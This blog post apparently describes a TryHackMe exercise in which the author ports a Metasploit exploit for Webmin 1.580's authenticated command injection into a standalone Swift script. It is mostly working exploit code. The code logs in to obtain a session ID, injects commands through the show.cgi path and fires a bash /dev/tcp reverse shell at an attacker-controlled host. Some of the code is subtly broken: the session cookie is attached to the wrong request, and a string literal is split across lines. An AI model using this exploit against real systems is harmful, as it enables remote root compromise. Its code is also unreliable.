Swiftsploit
I was recently working on an interesting exercise on Try Hack Me covering Proof of Concept Scripting. The exercise covers converting an existing Metasploit exploit ruby script into a stand alone script that can be used outside of Metasploit. Unfortunately, the exercise involved porting the exploit to Python, and I fucking hate Python. So what I did instead is port the exercise to Swift, which is what I've been doing most of my work in lately. There were a couple of interesting wrinkles involved in using Swift, so I thought I'd document it here before I forget everything involved.
The exploit in question is an old flaw in WebMin 1.580 that allowed authenticated users to run arbitrary code as root by taking advantage of a not properly sanitized cgi script string (in particular one that involves the |
pipe character. As can be seen, the original exploit code has three main sections, initialize
, check
, and exploit
.
The first section, initialize
sets up the parameters we will need to perform the exploit, such as the target URL, and the credentials of a valid user. This section is necessary for Metasploit scripts which need to work within the Metasploit framework and accept settings from an interactive prompt, etc. We will just be hardcoding these vales in our code (though it wouldn't be hard to use command line arguments to make the script a bit more flexible. E.g.
let lhost = "10.2.51.19", lport = "1313"
let target = URL(string: "http://10.10.142.59")!
let uname = "user1"
let passwd = "1user"
The last two sections, check
and exploit
are used, respectively, to check if the target machine is vulnerable to the exploit or not and then to actually perform the exploit. As can be seen from the Metasploit code, these two functions share a lot of code. Really, the only difference is the command string we execute on the remote machine. The check uses a harmless echo
command, the the exploit allows for arbitrary commands, most likely a reverse shell invocation. Because of this, we will combine the check
and exploit
functions into a single function which takes an optional string as input, with the user supplying nil
to signal a check instead of the exploit. This function will do the bulk of our work. The outline of this function is as follows:
func exploit(command: String?) -> Bool {
// Attempt to authenticate
// extract session ID
// use session ID to send command
// return true if successful, false if anything fails
}
We can then run our check
and exploit
in succession:
if exploit(command: nil) {
print("It's got the vulns")
if exploit(command: "bash -c 'exec bash -i &>/dev/tcp/\(lhost)/\(lport)<&1'") {
print("Haha… gotem!")
} else {
print("dunno")
}
} else {
print("Totes safesies; not gonna waste an exploit")
}
So, how are we going to fill in our exploit
function? For the purpose of this article, we'll start with the last part first because it is pretty straight-forward. We will just need to assume that we already have our session ID saved in a variable sessionID
. Using this we will create and send an HTTP request to the target that will execute our command.
To do this we will use the URLSession
class (and related classes) from Swift's Foundation
module (FoundationNetworking
on Linux)., the standard way of making HTTP requests in Swift.
Using URLSession
to make network requests
func exploit(command: String?) -> Bool {
var vulnerable = false
// Attempt to authenticate
// extract session ID
// use session ID to send command
let flag = DispatchSemaphore(value: 0)
let command = command ?? "echo \(randomAlphaNumeric(Int.random(in: 5..<10)))"
let cmdPage = "/file/show.cgi/bin/\(randomAlphaNumeric(5))|\(command)|"
let cmdRequest = URLRequest(url: target.appendingPathComponent(cmdPage))
request.setValue("sid=\(sessionId)", forHTTPHeaderField: "Cookie")
let task =
URLSession
.shared
.dataTask(with: cmdRequest) { (data: Data?, response: URLResponse?, error: Error?) -> Void in
// return true if successful, false if anything fails
if let error = error {
print("error:", error)
} else if let response = response {
let resp = (response as! HTTPURLResponse)
if resp.statusCode == 200 {
vulnerable = true
} else {
print("Weird response:", resp)
}
flag.signal()
}
}
task.resume()
flag.wait()
return vulnerable
}
Here we start by creating a semaphore so we can wait for the result of our asynchronous request. We then check to see if a command was passed in to execute on the target, setting the command to echo a random alphanumeric string if nil
was passed in. As seen in the previous listing, for the "check" phase, nil
is passed in, for the "exploit" phase, we will pass in the reverse shell command "bash -c 'exec bash -i &>/dev/tcp/\(lhost)/\(lport)<&1'"
.
Next we create our request as a URLRequest
for the URL:
http://url.of.vulnerablebox/file/show.cgi/bin/random|bash -c 'exec bash -i &>/dev/tcp/\(lhost)/\(lport)<&1'|
We then add the session ID to the request by adding it to the Cookie
header of the request. Once the request is ready, a dataTask
is created which will make the network request and, upon completion, will run the supplied closure as a completion handler, providing it with any errors encountered or and data or responses received. Here we just check to see if we received a status code of 200, which indicates the request ran successfully and the exploit worked (or the server is vulnerable if we are in the check phase). Finally, we start the task with resume()
, wait for the request to complete and our semaphore to be cleared before returning our vulnerability indicator.
This is more-or-less the standard way to make a simple HTTP request in Swift (though the synchronization using semaphores may not be used, depending on program design). Despite being verbose, it is at least, straight-forward. Things are a bit trickier, however, when we want to implement the first part of the test, fetching the session ID.
Not following redirects
The problem with using the above method to fetch the session ID is that the URLSession
class is designed to hide a lot of cruft from the user, handling things like handling proxy connections, reassembling large documents and, important for our case, following redirects automatically.
Normally, with URLSession
, if the requested resource returns a redirect response, e.g. 302, then the URLSession
will, by default, follow that redirect. So if you are trying to get info from that initial response, you need to override the default behavior by creating a session with a delegate that is called on redirects, allowing you to extract that information (and then either end the request or continue on).
In order to do this we create a new class which conforms to the URLSessionTaskDelegate
protocol. Inside this class, we implement the method urlSession(_ , task, willPerformHTTPRedirection, newRequest, completionHandler)
. This method is called if a URLSession
which we set up with our class as a delegate receives a redirection response. Said response will be passed into the function as the third parameter, and a generated URLRequest
will also be passed in as the fourth parameter allowing one to follow the redirect if desired by passing it (or some other request) into the supplied completion handler after performing any desired tasks. If one doesn't wan to follow the redirect, but rather bow out of the session gracefully, they can simply call completionHandler
and pass in nil
instead. This is what we do in our class as we don't need to follow the redirect.
class MySessionDelegate: NSObject, URLSessionTaskDelegate {
enum DelegateError: Error {
case noDataOrResp
}
func urlSession(
_ session: URLSession,
task: URLSessionTask,
willPerformHTTPRedirection response: HTTPURLResponse,
newRequest request: URLRequest,
completionHandler: @escaping (URLRequest?) -> Void
) {
completionHandler(nil)
}
}
Now, to use our delegate and retrieve the session ID, we add a class method to our class that sets up a URLSession
with a default configuration, but using an instance our class as a delegate. We then set up a task which will capture the HTTPURLRespone
we get after our delegate short-circuits the redirect. This response will be the redirect response itself. When our task's completion handler receives this response, it saves it to an external Result
variable and signals a semaphore that we are waiting on, indicating it received a response (or an error). We then take this Result
and pass it on to our caller.
class func getRedirectInfo(request: URLRequest) -> Result<(Data, HTTPURLResponse), Error> {
let semaphore = Dispatch.DispatchSemaphore(value: 0)
let session: URLSession = {
let configuration = URLSessionConfiguration.default
configuration.waitsForConnectivity = true
return URLSession(configuration: URLSessionConfiguration.default, delegate: MySessionDelegate(), delegateQueue: nil)
}()
var result: Result<(Data, HTTPURLResponse), Error>? = nil
let task = session.dataTask(with: request) { (data: Data?, response: URLResponse?, error: Error?) -> Void in
if let error = error {
result = .failure(error)
} else if let data = data, let response = response {
result = .success((data, response as! HTTPURLResponse))
} else {
result = .failure(DelegateError.noDataOrResp)
}
semaphore.signal()
session.finishTasksAndInvalidate()
}
task.resume()
semaphore.wait()
return result!
}
We can then call this class method to make our first call and retrieve the session ID from it:
guard case let .success((_, response)) =
MySessionDelegate.getRedirectInfo(request: request)
else {
print("Authentication failure")
return vulnerable
}
print("Authentication successful")
let cookie = response.allHeaderFields["Set-Cookie"] as! String
guard cookie.contains("sid=")
else { print("SID not returned in cookie"); return vulnerable }
let sessionId =
cookie.components(separatedBy: "sid=")[1]
.prefix(while: { $0 != ";" })
Full Code of Exploit
Our full code listing for this PoC exploit is as follows:
import Foundation
func randomAlphaNumeric(_ count: Int) -> String {
let alphaNum = "0123456789abcdefghijklmmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
var res = ""
for _ in 0..<count {
res.append(alphaNum.randomElement()!)
}
return res
}
class MySessionDelegate: NSObject, URLSessionTaskDelegate {
enum DelegateError: Error {
case noDataOrResp
}
func urlSession(
_ session: URLSession,
task: URLSessionTask,
willPerformHTTPRedirection response: HTTPURLResponse,
newRequest request: URLRequest,
completionHandler: @escaping (URLRequest?) -> Void
) {
completionHandler(nil)
}
class func getRedirectInfo(request: URLRequest) -> Result<(Data, HTTPURLResponse), Error> {
let semaphore = Dispatch.DispatchSemaphore(value: 0)
let session: URLSession = {
let configuration = URLSessionConfiguration.default
configuration.waitsForConnectivity = true
return URLSession(
configuration: URLSessionConfiguration.default,
delegate: MySessionDelegate(),
delegateQueue: nil
)
}()
var result: Result<(Data, HTTPURLResponse), Error>? = nil
let task = session.dataTask(with: request) { (data: Data?, response: URLResponse?, error: Error?) -> Void in
if let error = error {
result = .failure(error)
} else if let data = data, let response = response {
result = .success((data, response as! HTTPURLResponse))
} else {
result = .failure(DelegateError.noDataOrResp)
}
semaphore.signal()
session.finishTasksAndInvalidate()
}
task.resume()
semaphore.wait()
return result!
}
}
let lhost = "10.2.51.19", lport = "1313"
let target = URL(string: "http://10.10.142.59")!
let uname = "user1"
let passwd = "1user"
func exploit(command: String?) -> Bool {
var vulnerable = false
let postData =
"page=%2F&user=\(uname)&pass=\(passwd)".data(using: .utf8)
let page = "/session_login.cgi"
var request = URLRequest(url: target.appendingPathComponent(page))
request.httpMethod = "POST"
request.httpBody = postData
request.setValue("testing=1", forHTTPHeaderField: "Cookie")
guard
case let .success((_, response)) =
MySessionDelegate.getRedirectInfo(request: request)
else {
print("Authentication failure")
return vulnerable
}
print("Authentication successful")
let cookie = response.allHeaderFields["Set-Cookie"] as! String
guard
cookie.contains("sid=")
else { print("SID not returned in cookie"); return vulnerable }
let sessionId = cookie.components(separatedBy: "sid=")[1].prefix(while: { $0 != ";" })
if command == nil {
print("Attempting test injection…")
} else {
print("Attempting exploitation…")
}
let flag = DispatchSemaphore(value: 0)
let command =
command ??
"echo \(randomAlphaNumeric(Int.random(in: 5..<10)))"
let cmdPage = "
/file/show.cgi/bin/\(randomAlphaNumeric(5))|\(command)|"
let cmdRequest =
URLRequest(url: target.appendingPathComponent(cmdPage))
request.setValue("sid=\(sessionId)", forHTTPHeaderField: "Cookie")
let task = URLSession.shared.dataTask(with: cmdRequest) { (data: Data?, response: URLResponse?, error: Error?) -> Void in
if let error = error {
print("error:", error)
} else if let response = response {
let resp = (response as! HTTPURLResponse)
if resp.statusCode == 200 {
vulnerable = true
} else {
print("Weird response:", resp)
}
flag.signal()
}
}
task.resume()
flag.wait()
return vulnerable
}
if exploit(command: nil) {
print("It's got the vulns")
if exploit(command: "bash -c 'exec bash -i &>/dev/tcp/\(lhost)/\(lport)<&1'") {
print("Haha… gotem!")
} else {
print("dunno")
}
} else {
print("Totes safesies; not gonna waste an exploit")
}